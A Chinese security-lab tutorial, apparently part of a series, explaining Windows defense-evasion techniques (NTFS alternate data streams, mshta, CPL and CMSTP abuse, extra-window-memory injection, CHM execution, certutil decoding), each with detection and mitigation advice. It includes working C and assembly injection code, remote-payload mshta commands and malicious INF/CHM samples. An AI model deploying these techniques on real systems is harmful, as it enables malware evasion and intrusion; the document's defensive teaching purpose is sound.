转载自:微信公众号:ALpha 天融信阿尔法实验室
接着上一篇继续介绍下面的内容
10、利用NTFS ADS进行数据隐藏原理及代码介绍 在NTFS文件系统中,每个NTFS格式的分区都包含一个主文件表结构(Master File Table),这个表结构中保存了该分区上每个文件及目录的相关信息。在MFT结构中还保存着文件属性, 如 Extended Attributes (EA) 及 Data(当存在多个数据属性时称为Alternate Data Streams ,交换数据流,即ADS),而用户可以为文件新建交换数据流,并将存储任意二进制数据在其中,如将完整的文件在其中,而在Windows系统的资源管理器中,载体文件不会有任何变化(如文件大小、时间戳),攻击者完全可以利用该特性将完整的文件隐藏在交换流中。 ADS的应用,这里笔者将举个简单的例子进行说明, 相信读者有通过Internet Explorer下载过可执行文件,然后在运行的时候收到如下图所示的警告,这是其实就是ADS的运用。
在文件下载完成后, IE会在文件上加入一个ADS。该ADS将存储一个标签,以便Windows了解文件是从哪个区域下载的。
可以通过Powershell和stream.exe(sysinternals工具包中有提供)来操作(新增、查看、修改、删除)文件中的ADS,用如下的命令查看
该文件是经IE下载的,其存在一个名为“Zone.Identfier”的流,其中保存了文件是从IE下载的标示,我们通过将文件复制到真机,再拖回虚拟机再看一下,可以看到同样的文件,其附加的属性已经不存在。
ADS的操作也可以通过CMD命令进行操作,其操作方法如下:
- echo for test > sc.dat:stream
复制代码
可见的是,文件大小为0。使用stream.exe可以看到存在一个名为stream的交换流
攻击者可能会将恶意数据或者二进制文件存储在文件的备用流(ADS)中,而不是直接存储在文件中,这种技术可用于文件隐藏、防病毒软件静态扫描、主机取证分析等安全手段的绕过。 如下的代码演示在ADS中隐藏完整的文件及存取等操作。 - bool set_ads(TCHAR* host_file,TCHAR* payload_filepath)
- {
- bool ret = false;
- BYTE read_buf[0x1000];
- DWORD read_cb, write_cb;
- TCHAR finalpath_buf[MAX_PATH * 2];
- HANDLE final_handle = INVALID_HANDLE_VALUE;
- HANDLE payload_handle = INVALID_HANDLE_VALUE;
- wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file);
- final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
- FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (final_handle == INVALID_HANDLE_VALUE)
- {
- goto SAFE_EXIT;
- }
-
- payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS,
- FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (payload_handle == INVALID_HANDLE_VALUE)
- {
- goto SAFE_EXIT;
- }
- do
- {
- if (!ReadFile(payload_handle, read_buf, 0x1000, &read_cb, NULL))
- {
- goto SAFE_EXIT;
- }
- if (!WriteFile(final_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
- {
- goto SAFE_EXIT;
- }
- if (read_cb != 0x1000)
- {
- break;
- }
- } while (true);
-
- ret = true;
- SAFE_EXIT:
- if (final_handle != INVALID_HANDLE_VALUE)
- {
- CloseHandle(final_handle);
- }
- if (payload_handle != INVALID_HANDLE_VALUE)
- {
- CloseHandle(payload_handle);
- }
- return ret;
- }
- bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path)
- {
- bool ret = false;
- BYTE read_buf[0x1000];
- DWORD read_cb, write_cb;
- TCHAR finalpath_buf[MAX_PATH * 2];
- HANDLE stream_handle = INVALID_HANDLE_VALUE;
- HANDLE save_handle = INVALID_HANDLE_VALUE;
- wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name);
- stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
- FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (stream_handle == INVALID_HANDLE_VALUE)
- {
- goto SAFE_EXIT;
- }
- save_handle = CreateFile(save_path, FILE_WRITE_ACCESS,
- FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (save_handle == INVALID_HANDLE_VALUE)
- {
- goto SAFE_EXIT;
- }
- do
- {
- if (!ReadFile(stream_handle, read_buf, 0x1000, &read_cb, NULL))
- {
- goto SAFE_EXIT;
- }
- if (!WriteFile(save_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
- {
- goto SAFE_EXIT;
- }
- if (read_cb != 0x1000)
- {
- break;
- }
- } while (true);
- ret = true;
- SAFE_EXIT:
- if (stream_handle != INVALID_HANDLE_VALUE)
- {
- CloseHandle(stream_handle);
- }
- if (save_handle != INVALID_HANDLE_VALUE)
- {
- CloseHandle(save_handle);
- }
- return ret;
- }
- int _tmain(int argc, _TCHAR* argv[])
- {
- if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt")))
- {
- _tprintf(_TEXT("set fail!!!\r\n"));
- }
- if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt")))
- {
- _tprintf(_TEXT("read fail!!!\r\n"));
- }
- return 0;
- }
复制代码 检查及限制方案1、通过dir /r命令可以显示目录中含有ADS的文件,在找到不合法的交换流后删除掉即可。 2、通过Sysinternals提供的Streams工具来查询文件是否具有ADS,同时可以用该工具删除 3、使用Powershell命令来与ADS交换和操作,如Get-Item,Set-Item,Remove-Item和Get-ChildItem . 参考链接11、Mshta代理执行脚本代码原理及代码介绍 Mshta.exe 是执行Microsoft HTML 应用程序(HTA)的内置工具,在Windows系统中默认自带该工具。HTA文件的扩展名为“.hta”, HTA是独立的应用程序,他们使用与Internet Explorer相同的模型和技术执行,但是并不通过浏览器进行执行,而在浏览器之外。 攻击者可以通过制作恶意HTA文件(如带有恶意Javascript或VBScript代码执行)并调用Mshta.exe执行以绕过系统或是反病毒软件提供的应用程序白名单检测、数字证书验证等安全检查。 可以直接调用Mshta.exe并传递脚本代码进行执行: - mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
复制代码也可以调用Mshta并传递hta文件URL进行下载执行: - mshta http[:]//webserver/payload[.]hta
复制代码通过Mshta.exe代理执行脚本代码,可以用于绕过没有阻止其执行的应用程序白名单限制解决方案,由于mshta在Internet Explorer的安全上下文之外执行,因此它也绕过了浏览器安全设置。 下面将分别列举攻击者的2种利用手段: 1、 mshta直接执行脚本代码 - mshta about:”<script language = “vbscript” src=”http://127.0.0.1/test.vbs”> code </script>
复制代码在本地搭建http服务器将test.vbs加载进去 执行CMD命令启动mshta 2、 mshta执行hta脚本文件 构建如下的HTA脚本,其中引用外部的脚本文件 执行情况如下 检查及限制方案检查方法:1、使用进程监视工具来监视mshta.exe的执行和参数。 2、在命令行中寻找执行原始脚本或混淆脚本的mshta.exe。 3、将mshta.exe的最近调用与已知良好参数的历史执行记录进行对比,已确定异常和潜在的对抗活动。 缓解方案:1、如果在特定环境中mshta.exe不是必须的, 可以考虑删除或者禁用该组件。 2、修改系统配置或者杀软配置,阻止mshta.exe的执行,或者将该文件移除出应用程序白名单,以防止被潜在的攻击者滥用行为。 参考链接
12、控制面板文件代码执行原理及代码介绍 控制面板的每一项一般都会对应一个.CPL 文件,这些文件存于系统目录下,你可以指定控制面板中要显示的项目,也可以隐藏。当启动控制面板时,Windows\System 文件夹中的.cpl 文件会自动加载。 以“.CPL”扩展名结尾的文件其实是“.dll”文件,用IDA打开可以发现CPL文件都导出了一个CPLApplet函数 函数CPLApplet是控制面板应用程序的入口点,它被控制面板管理程序自动调用,并且是个回调函数,注意:CPL文件一定要把函数CPLApplet导出,这样控制面板才能找到程序的入口点。 当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPLApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPLApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPLApplet函数,它负责所有的控制面板应用程序。 开启默认规则后会拦截exe和脚本的执行,并没有限制CPL文件,因此可以绕过Windows AppLocker的限制规则。当然也可以绕过一些应用程序白名单 Cpl文件按照dll文件的编写就行,如果只是简单的运行cmd,可以不导出函数CPLApplet。
- extern "C" __declspec(dllexport) LONG CPLApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
- {
- return 0;
- }
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- WinExec("cmd", SW_SHOW);
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
复制代码编译成功后,将dll后缀名改成cpl,并修改注册表项
- HKEY hKey;
- DWORD dwDisposition;
- char path [] = "C:\\testcpl”;
- RegCreateKeyExA(HKEY_CURRENT_USER,
- "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
- RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));
复制代码 运行效果图当运行控制面板时,cmd.exe自动启动。 检查及限制方案监视和分析与CPL文件关联的项的活动,查找系统上未注册和潜在恶意文件。 将控制面板项的存储和执行限制在受保护目录上,例如C:\Windows 参考链接13、CMSTP配置文件参数利用原理及代码介绍 CMSTP.exe是用于安装Connection Manager服务配置文件的命令行程序。程序接受INF配置文件作为参数。这项攻击手段的关键点就在于配置文件。攻击者可能会向CMSTP.exe提供受恶意命令感染的INF文件,以脚本(SCT)和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中: - C:\Windows\System32\cmstp.exe
- C:\Windows\SysWOW64\cmstp.exe
复制代码 AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件,所以也会绕过一些杀软的白名单。 配置文件可以通过安装启动CMAK(Connection Manager Administration Kit)来创建,关于CMAK可以通过Microsoft文档进行了解。在这里就不具体演示获得INF文件的过程了,可以通过以下链接获得:INF文件。 INF文件的内容有很多项,我们想要利用INF文件,只需要保留一些重要的项,以下是简化的INF文件内容
- [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- RegisterOCXs=RegisterOCXSection
- [RegisterOCXSection]
- C:\test.dll
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="Pentestlab"
- ShortSvcName="Pentestlab"
复制代码需要注意到的是INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。 从WebDAV服务器实现加载dll需要修改下面内容: - [RegisterOCXSection]
- \10.10.10.10webdavAllTheThings.dll
复制代码命令行:cmstp.exe /s c:\cmstp.inf 当然,还可以将RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:
- [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUse
- RegisterOCXs=RegisterOCXSection
- RunPreSetupCommands=RunPreSetupCommandsSection
- [RunPreSetupCommandsSection]
- c:\windows\system32\calc.exe
- taskkill /IM cmstp.exe /F
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="CorpVPN"
- ShortSvcName="CorpVPN"
复制代码 运行效果图 如下图所示,在命令行中执行cmstp 并加入相关参数cmstpdll.inf ,我们预设的dll 就运行在了cmstp进程中,此处或许可能被恶意代码所利用,用以逃避杀软白名单检测及进程检测等 执行命令,弹出计算器: 检查及限制方案 1.使用进程监视来检测和分析CMSTP.exe的执行和参数。将最近对CMSTP.exe的调用与已知的参数和已加载文件的历史进行比较,以确定异常和潜在的对抗性活动。 2. Sysmon事件也可以用来识别CMSTP.exe的潜在威胁。 参考链接14、额外窗口内存注入原理及代码介绍 在创建窗口之前,基于图形Windows的进程必须注册一个Windows类,该类规定外观和行为。新窗口类的注册可以包括一个请求,请求将多达40个字节的额外窗口内存(EWM)附加到该类的每个实例的分配内存中。该EWM旨在存储特定于该窗口的数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。 虽然EWM很小,但它的大小足以存储32位指针,并且经常用于指向Windows过程。EWMI依赖注入到资源管理器托盘窗口内存中,并在恶意软件家族Gapz和PowerLoader中使用多次。然而,在EWM中没有太多的空间。为了规避这个限制,恶意软件将代码写入explorer.exe的共享段中,并使用SetWindowLong和SendNotifyMessage得到一个指向shellcode的函数指针,然后执行它。 当写入共享段时,恶意软件有两个选项。它能创建一个共享段自己映射到另一个进程(如explorer)中,或者打开一个已存在的共享段。前者有分配堆内存的开销,而且还要调用NtMapViewOfSection等API,因此后者更常用。在恶意代码将shellcode写入共享段后,使用GetWindowLong和SetWindowLong来访问并修改Shell_TrayWnd的额外的窗口内存。GetWindowLong是用于通过32位值作为偏移得到窗口类对象中额外窗口内存,同时使用SetWindowLong能改变指定偏移的值。通过完成这个,恶意代码能改变窗口类中的函数指针,将它指向共享段的shellcode。 和上述的技术一样,恶意软件需要触发写入的代码。有一些技术是通过调用类似CreateRemoteThread,SetThreadContext,QueueUserAPC这些API来实现的。与其他不同的是,这种技术是通过使用SendNotifyMessage或PostMessage来触发代码执行的。 一旦执行SendNotifyMessage或PostMessage,Shell_TrayWnd将接收到并将控制移交给SetWindowLong设置的地址。 主程序源代码如下:
- HANDLE g_hprocess = NULL;
- unsigned char shellcode[100] = { 0, };
- DWORD shellcodeSize = sizeof(shellcode);
- PVOID mapshellocdeprocess()
- {
- HANDLE hSection = NULL;
- OBJECT_ATTRIBUTES hAttributes;
- memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
- LARGE_INTEGER maxSize;
- maxSize.HighPart = 0;
- // 保存壳代码与指针
- maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize;
- NTSTATUS status = NULL;
- if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
- {
- printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
- return NULL;
- }
- PVOID sectionBaseAddress = NULL;
- ULONG viewSize = 0;
- SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
- // 映射
- if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
- printf("Section BaseAddress: %p\n", sectionBaseAddress);
- // 切换到映射
- PVOID sectionBaseAddress2 = NULL;
- if ((status = NtMapViewOfSection(hSection, g_hprocess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
- LPVOID shellcode_remote_ptr = sectionBaseAddress2;
- LPVOID shellcode_local_ptr = sectionBaseAddress;
- memcpy(shellcode_local_ptr, shellcode, shellcodeSize);
- printf("Shellcode copied!\n");
- LPVOID handles_remote_ptr = (BYTE*)shellcode_remote_ptr + shellcodeSize;
- LPVOID handles_local_ptr = (BYTE*)shellcode_local_ptr + shellcodeSize;
- PVOID buf_va = (BYTE*)handles_remote_ptr;
- LONG hop1 = (LONG)buf_va + sizeof(LONG);
- LONG shellc_va = (LONG)shellcode_remote_ptr;
- memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
- memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
- //u nmap from the context of current process
- ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
- ZwClose(hSection);
- printf("Section mapped at address: %p\n", sectionBaseAddress2);
- return shellcode_remote_ptr;
- }
- int main()
- {
- // 查找Shell_TrayWnd 外壳类,主要是管理
- HWND hWnd =
- FindWindow(
- L"Shell_TrayWnd",
- NULL
- );
- if (hWnd == NULL)
- return -1;
- DWORD pid = 0;
- LONG nwlong = 0;
- nwlong = GetWindowThreadProcessId(hWnd, &pid);
- // 打开Shell_TrayWnd
- g_hprocess =
- OpenProcess(
- PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
- false,
- pid
- );
- if (g_hprocess == NULL)
- return 0;
- // 映射shellcode
- LPVOID remoteshellcodeptr = mapshellocdeprocess();
- // 设置到额外的窗口内存中
- SetWindowLong(
- hWnd,
- 0,
- /*参数三替换值shellcodeptr*/
- (LONG)remoteshellcodeptr
- );
- // 调用窗口过程也就是发送执行shellcode
- SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
- // 这里先sleep等待执行
- Sleep(5000);
- // 恢复原来得数据
- SetWindowLong(hWnd, 0, nwlong);
- SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
- CloseHandle(g_hprocess);
- }
复制代码Payload: - LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam,
- LPARAM lParam) {
- if (uMsg != WM_CLOSE) return 0;
- WinExec_t pWinExec;
- DWORD szWinExec[2],
- szNotepad[3];
- // WinExec
- szWinExec[0] = 0x456E6957;
- szWinExec[1] = 0x00636578;
- // runs notepad
- szNotepad[0] = *(DWORD*)"note";
- szNotepad[1] = *(DWORD*)"pad\0";
- pWinExec = (WinExec_t)puGetProcAddress(szWinExec);
- if (pWinExec != NULL) {
- pWinExec((LPSTR)szNotepad, SW_SHOW);
- }
- return 0;
- }
复制代码因为需要从OD中复制出来shellcode,放入字符串数组中运行。 所以模块基址的获取和函数的获取需要使用汇编自己获取。 - // ===================获取模块基址============================
- DWORD puGetModule(const DWORD Hash)
- {
- DWORD nDllBase = 0;
- __asm {
- jmp start
- /*函数1:遍历PEB_LDR_DATA链表HASH加密*/
- GetModulVA :
- push ebp;
- mov ebp, esp;
- sub esp, 0x20;
- push edx;
- push ebx;
- push edi;
- push esi;
- mov ecx, 8;
- mov eax, 0CCCCCCCCh;
- lea edi, dword ptr[ebp - 0x20];
- rep stos dword ptr es : [edi];
- mov esi, dword ptr fs : [0x30];
- mov esi, dword ptr[esi + 0x0C];
- mov esi, dword ptr[esi + 0x1C];
- tag_Modul:
- mov dword ptr[ebp - 0x8], esi; // 保存LDR_DATA_LIST_ENTRY
- mov ebx, dword ptr[esi + 0x20]; // DLL的名称指针(应该指向一个字符串)
- mov eax, dword ptr[ebp + 0x8];
- push eax;
- push ebx; // +0xC
- call HashModulVA;
- test eax, eax;
- jnz _ModulSucess;
- mov esi, dword ptr[ebp - 0x8];
- mov esi, [esi]; // 遍历下一个
- LOOP tag_Modul
- _ModulSucess :
- mov esi, dword ptr[ebp - 0x8];
- mov eax, dword ptr[esi + 0x8];
- pop esi;
- pop edi;
- pop ebx;
- pop edx;
- mov esp, ebp;
- pop ebp;
- ret
- /*函数2:HASH解密算法(宽字符解密)*/
- HashModulVA :
- push ebp;
- mov ebp, esp;
- sub esp, 0x04;
- mov dword ptr[ebp - 0x04], 0x00
- push ebx;
- push ecx;
- push edx;
- push esi;
- // 获取字符串开始计算
- mov esi, [ebp + 0x8];
- test esi, esi;
- jz tag_failuers;
- xor ecx, ecx;
- xor eax, eax;
- tag_loops:
- mov al, [esi + ecx]; // 获取字节加密
- test al, al; // 0则退出
- jz tag_ends;
- mov ebx, [ebp - 0x04];
- shl ebx, 0x19;
- mov edx, [ebp - 0x04];
- shr edx, 0x07;
- or ebx, edx;
- add ebx, eax;
- mov[ebp - 0x4], ebx;
- inc ecx;
- inc ecx;
- jmp tag_loops;
- tag_ends:
- mov ebx, [ebp + 0x0C]; // 获取HASH
- mov edx, [ebp - 0x04];
- xor eax, eax;
- cmp ebx, edx;
- jne tag_failuers;
- mov eax, 1;
- jmp tag_funends;
- tag_failuers:
- mov eax, 0;
- tag_funends:
- pop esi;
- pop edx;
- pop ecx;
- pop ebx;
- mov esp, ebp;
- pop ebp;
- ret 0x08
- start:
- /*主模块*/
- pushad;
- push Hash;
- call GetModulVA;
- add esp, 0x4
- mov nDllBase, eax;
- popad;
- }
- return nDllBase;
- }
- // ===================获取函数地址============================
- DWORD puGetProcAddress(const DWORD dllvalues, const DWORD Hash)
- {
- DWORD FunctionAddress = 0;
- __asm {
- jmp start
- // 自定义函数计算Hash且对比返回正确的函数
- GetHashFunVA :
- push ebp;
- mov ebp, esp;
- sub esp, 0x30;
- push edx;
- push ebx;
- push esi;
- push edi;
- lea edi, dword ptr[ebp - 0x30];
- mov ecx, 12;
- mov eax, 0CCCCCCCCh;
- rep stos dword ptr es : [edi];
- // 以上开辟栈帧操作(Debug版本模式)
- mov eax, [ebp + 0x8]; // ☆ kernel32.dll(MZ)
- mov dword ptr[ebp - 0x8], eax;
- mov ebx, [ebp + 0x0c]; // ☆ GetProcAddress Hash值
- mov dword ptr[ebp - 0x0c], ebx;
- // 获取PE头与RVA及ENT
- mov edi, [eax + 0x3C]; // e_lfanew
- lea edi, [edi + eax]; // e_lfanew + MZ = PE
- mov dword ptr[ebp - 0x10], edi; // ☆ 保存PE(VA)
- // 获取ENT
- mov edi, dword ptr[edi + 0x78]; // 获取导出表RVA
- lea edi, dword ptr[edi + eax]; // 导出表VA
- mov[ebp - 0x14], edi; // ☆ 保存导出表VA
- // 获取函数名称数量
- mov ebx, [edi + 0x18];
- mov dword ptr[ebp - 0x18], ebx; // ☆ 保存函数名称数量
- // 获取ENT
- mov ebx, [edi + 0x20]; // 获取ENT(RVA)
- lea ebx, [eax + ebx]; // 获取ENT(VA)
- mov dword ptr[ebp - 0x20], ebx; // ☆ 保存ENT(VA)
- // 遍历ENT 解密哈希值对比字符串
- mov edi, dword ptr[ebp - 0x18];
- mov ecx, edi;
- xor esi, esi;
- mov edi, dword ptr[ebp - 0x8];
- jmp _WHILE;
- // 外层大循环
- _WHILE :
- mov edx, dword ptr[ebp + 0x0c]; // HASH
- push edx;
- mov edx, dword ptr[ebx + esi * 4]; // 获取第一个函数名称的RVA
- lea edx, [edi + edx]; // 获取一个函数名称的VA地址
- push edx; // ENT表中第一个字符串地址
- call _STRCMP;
- cmp eax, 0;
- jnz _SUCESS;
- inc esi;
- LOOP _WHILE;
- jmp _ProgramEnd;
- // 对比成功之后获取循环次数(下标)cx保存下标数
- _SUCESS :
- // 获取EOT导出序号表内容
- mov ecx, esi;
- mov ebx, dword ptr[ebp - 0x14];
- mov esi, dword ptr[ebx + 0x24];
- mov ebx, dword ptr[ebp - 0x8];
- lea esi, [esi + ebx]; // 获取EOT的VA
- xor edx, edx;
- mov dx, [esi + ecx * 2]; // 注意双字 获取序号
- // 获取EAT地址表RVA
- mov esi, dword ptr[ebp - 0x14]; // Export VA
- mov esi, [esi + 0x1C];
- mov ebx, dword ptr[ebp - 0x8];
- lea esi, [esi + ebx]; // 获取EAT的VA
- mov eax, [esi + edx * 4]; // 返回值eax(GetProcess地址)
- lea eax, [eax + ebx];
- jmp _ProgramEnd;
- _ProgramEnd:
- pop edi;
- pop esi;
- pop ebx;
- pop edx;
- mov esp, ebp;
- pop ebp;
- ret 0x8;
- // 循环对比HASH值
- _STRCMP:
- push ebp;
- mov ebp, esp;
- sub esp, 0x04;
- mov dword ptr[ebp - 0x04], 0x00;
- push ebx;
- push ecx;
- push edx;
- push esi;
- // 获取字符串开始计算
- mov esi, [ebp + 0x8];
- xor ecx, ecx;
- xor eax, eax;
- tag_loop:
- mov al, [esi + ecx]; // 获取字节加密
- test al, al; // 0则退出
- jz tag_end;
- mov ebx, [ebp - 0x04];
- shl ebx, 0x19;
- mov edx, [ebp - 0x04];
- shr edx, 0x07;
- or ebx, edx;
- add ebx, eax;
- mov[ebp - 0x4], ebx;
- inc ecx;
- jmp tag_loop;
- tag_end :
- mov ebx, [ebp + 0x0C]; // 获取HASH
- mov edx, [ebp - 0x04];
- xor eax, eax;
- cmp ebx, edx;
- jne tag_failuer;
- mov eax, 1;
- jmp tag_funend;
- tag_failuer:
- mov eax, 0;
- tag_funend:
- pop esi;
- pop edx;
- pop ecx;
- pop ebx;
- mov esp, ebp;
- pop ebp;
- ret 0x08
- start:
- pushad;
- push Hash; // Hash加密的函数名称
- push dllvalues; // 模块基址.dll
- call GetHashFunVA; // GetProcess
- mov FunctionAddress, eax; // ☆ 保存地址
- popad;
- }
- return FunctionAddress;
- }
复制代码 运行效果图 当主程序执行时,记事本就会运行,并通过进程树发现,记事本作为explorer.exe的子进程在运行。 检查及限制方案 监视操作EWM(如GetWindowLong和SetWindowLong)相关的API调用。 参考链接15、修改文件权限原理及代码介绍 文件和目录权限通常由文件或目录所有者指定的自主访问控制列表(DACL)管理。自主访问控制列表(DACL)是一个最普遍类型的访问控制列表(ACL)。在一个DACL(Discretionary Access Control List)中,指出了允许和拒绝某用户或用户组的存取控制列表。当一个进程需要访问安全对象时,系统就会检查DACL来决定进程的访问权。如果一个对象没有DACL,则说明任何人对这个对象都可以拥有完全的访问权限。 用户可以使用attrib.exe二进制文件修改特定文件的属性。简单地命令attrib +h filename,就是隐藏文件。 攻击者可以通过修改文件或目录的权限和属性以攻破DACL的设置。著名的WannaCry 就使用了attrib +h和icacls . /grant Everyone:F /T /C /Q 隐藏其某些文件并授予所有用户完全访问控制权限 对ICacls详细参数可参考: 对attrib详细参数可参考: 从这些功能上看,通过修改文件属性和权限,可以针对绕过文件监视,文件系统访问控制。 运行效果图ICacls查看目录和文件的权限 隐藏文件 检查及限制方案 1.监视和调查修改DACL和文件/目录所有权的操作,例如icacls的使用。 2.考虑对二进制或配置文件的目录权限更改进行审核。 3.修改DACL时使用Windows安全日志记录事件。 参考链接16、CHM文件隐藏代码执行原理及代码介绍 CHM文件是一种“已编译的HTML文件”,是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来打开的。CHM文件可以包含各种文件,如HTML文件,图像以及与脚本相关的编程语言。攻击者可能会滥用此技术来隐藏恶意代码,传输包含代码的自定义CHM文件。并且可以绕过一些未升级的系统上的应用程序白名单。Silence组织就曾使用恶意CHM文档攻击俄罗斯银行。 编写CHM文件需要准备一个HTML文件,如下:
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>title</title>
- <script type="text/javascript">
- var objShell
- var objShell= new ActiveXObject("WScript.Shell")
- var iReturnCode=objShell.Run("calc.exe",0,true)
- </script>
- </head>
- <body>
- </body>
- </html>
复制代码了解HTML文件格式可以访问:HTML文件格式 众所周知,HTML文件不能执行cmd命令,编译成CHM文件就可以完美执行。 CHM文件的制作工具比较多,本次介绍一款工具 easy chm,可以去官网下载。 打开easy chm后点击新建
将HTML文件单独放在一个文件夹中,浏览的路径是一个文件夹路径 确定之后,点击编译即可 运行效果图双击运行生成的CHM文件,弹出计算器
检查及限制方案 2. 监视CHM文件的存在和使用。 参考链接17、本机程序编译代码执行原理及代码介绍 当进行数据的传输时,Windows可能会对可执行文件进行分析和检查。如果将文件作为未编译代码传递,这些代码的行为就会难以被发现和分析。当然这些代码需要编译后执行,通常是通过本机的实用工具(如csc.exe)进行编译。 csc.exe是微软.NET Framework 中的C#语言编译器,在环境变量里加入csc.exe的路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319(注意,路径和版本号会因为你的安装和下载的不同而不同,自己到安装目录下看看)。 用记事本编写源代码:
- using System;
- using System.Windows.Forms;
- class TestApp
- {
- public static void Main()
- {
- MessageBox.Show("Hello!");
- }
- }
复制代码保存为.cs文件,在cmd命令行中执行命令:csc /reference:System.Windows.Forms.dll TestApp.cs 即可编译成TestApp.exe。 关于csc.exe详细命令参数可参考:csc.exe命令 MinGW(Minimalist GNU For Windows)是个精简的Windows平台C/C++、ADA及Fortran编译器。下载地址。 安装完成之后,配置环境变量,可以编译.c文件。 命令:gcc test.c -o test 这种技术可以绕过基于签名的检测,白名单等。 运行效果图cse.exe 编译完成并生成exe文件。 MinGW: 命令行编译完成,生成exe文件
检查及限制方案 1. 监视常用编译器(如csc.exe)的执行文件路径和命令行参数,并与其他可疑行为相关联。 2. 寻找非本地二进制格式和跨平台编译器和执行框架,如Mono,并确定它们在系统上是否有合法的用途。 参考链接18、间接命令执行原理及代码介绍 在Windows系统中可以使用各种Windows实用程序来执行命令,而不需要调用CMD。攻击者可能会滥用这些特征来绕过一些防御机制,如应用程序白名单等。 使用 Forfiles 可以通过不直接调用CMD,来隐藏命令执行。 Forfiles是一款windows平台的软件工具,其中选择文件并运行一个命令来操作文件。文件选择标准包括名称和上次修改日期。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。forfiles命令最初作为加载项提供在Windows NT 资源工具包中。它成为Windows Vista的标准实用程序,作为新管理功能的一部分。 运行效果图运行Forfiles 检查及限制方案 监视和分析来自基于主机的检测机制(如Sysmon)的日志,查看包含或由调用程序,命令,文件,生成子进程,网络连接相关的参数的进程创建等事件。 参考链接19、解码文件并执行原理及代码介绍攻击者可以混淆文件或信息,从而无法分析恶意代码的行为和信息。混淆的方法有很多,比如最简单的异或和其它的加密算法。下面介绍一种恶意软件使用过的方法。 Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。 攻击者可以利用certutil.exe把二进制文件(包括各种文件)经过base64编码为文本,这样可以将可执行文件隐藏在文件中,使恶意代码样本看起来像是无害的文本文件。 先将程序编码为文本: - certutil -encode hello.exe hello.txt
复制代码下载文件到本地 - certutil -urlcache -split -f [URL] hello.txt
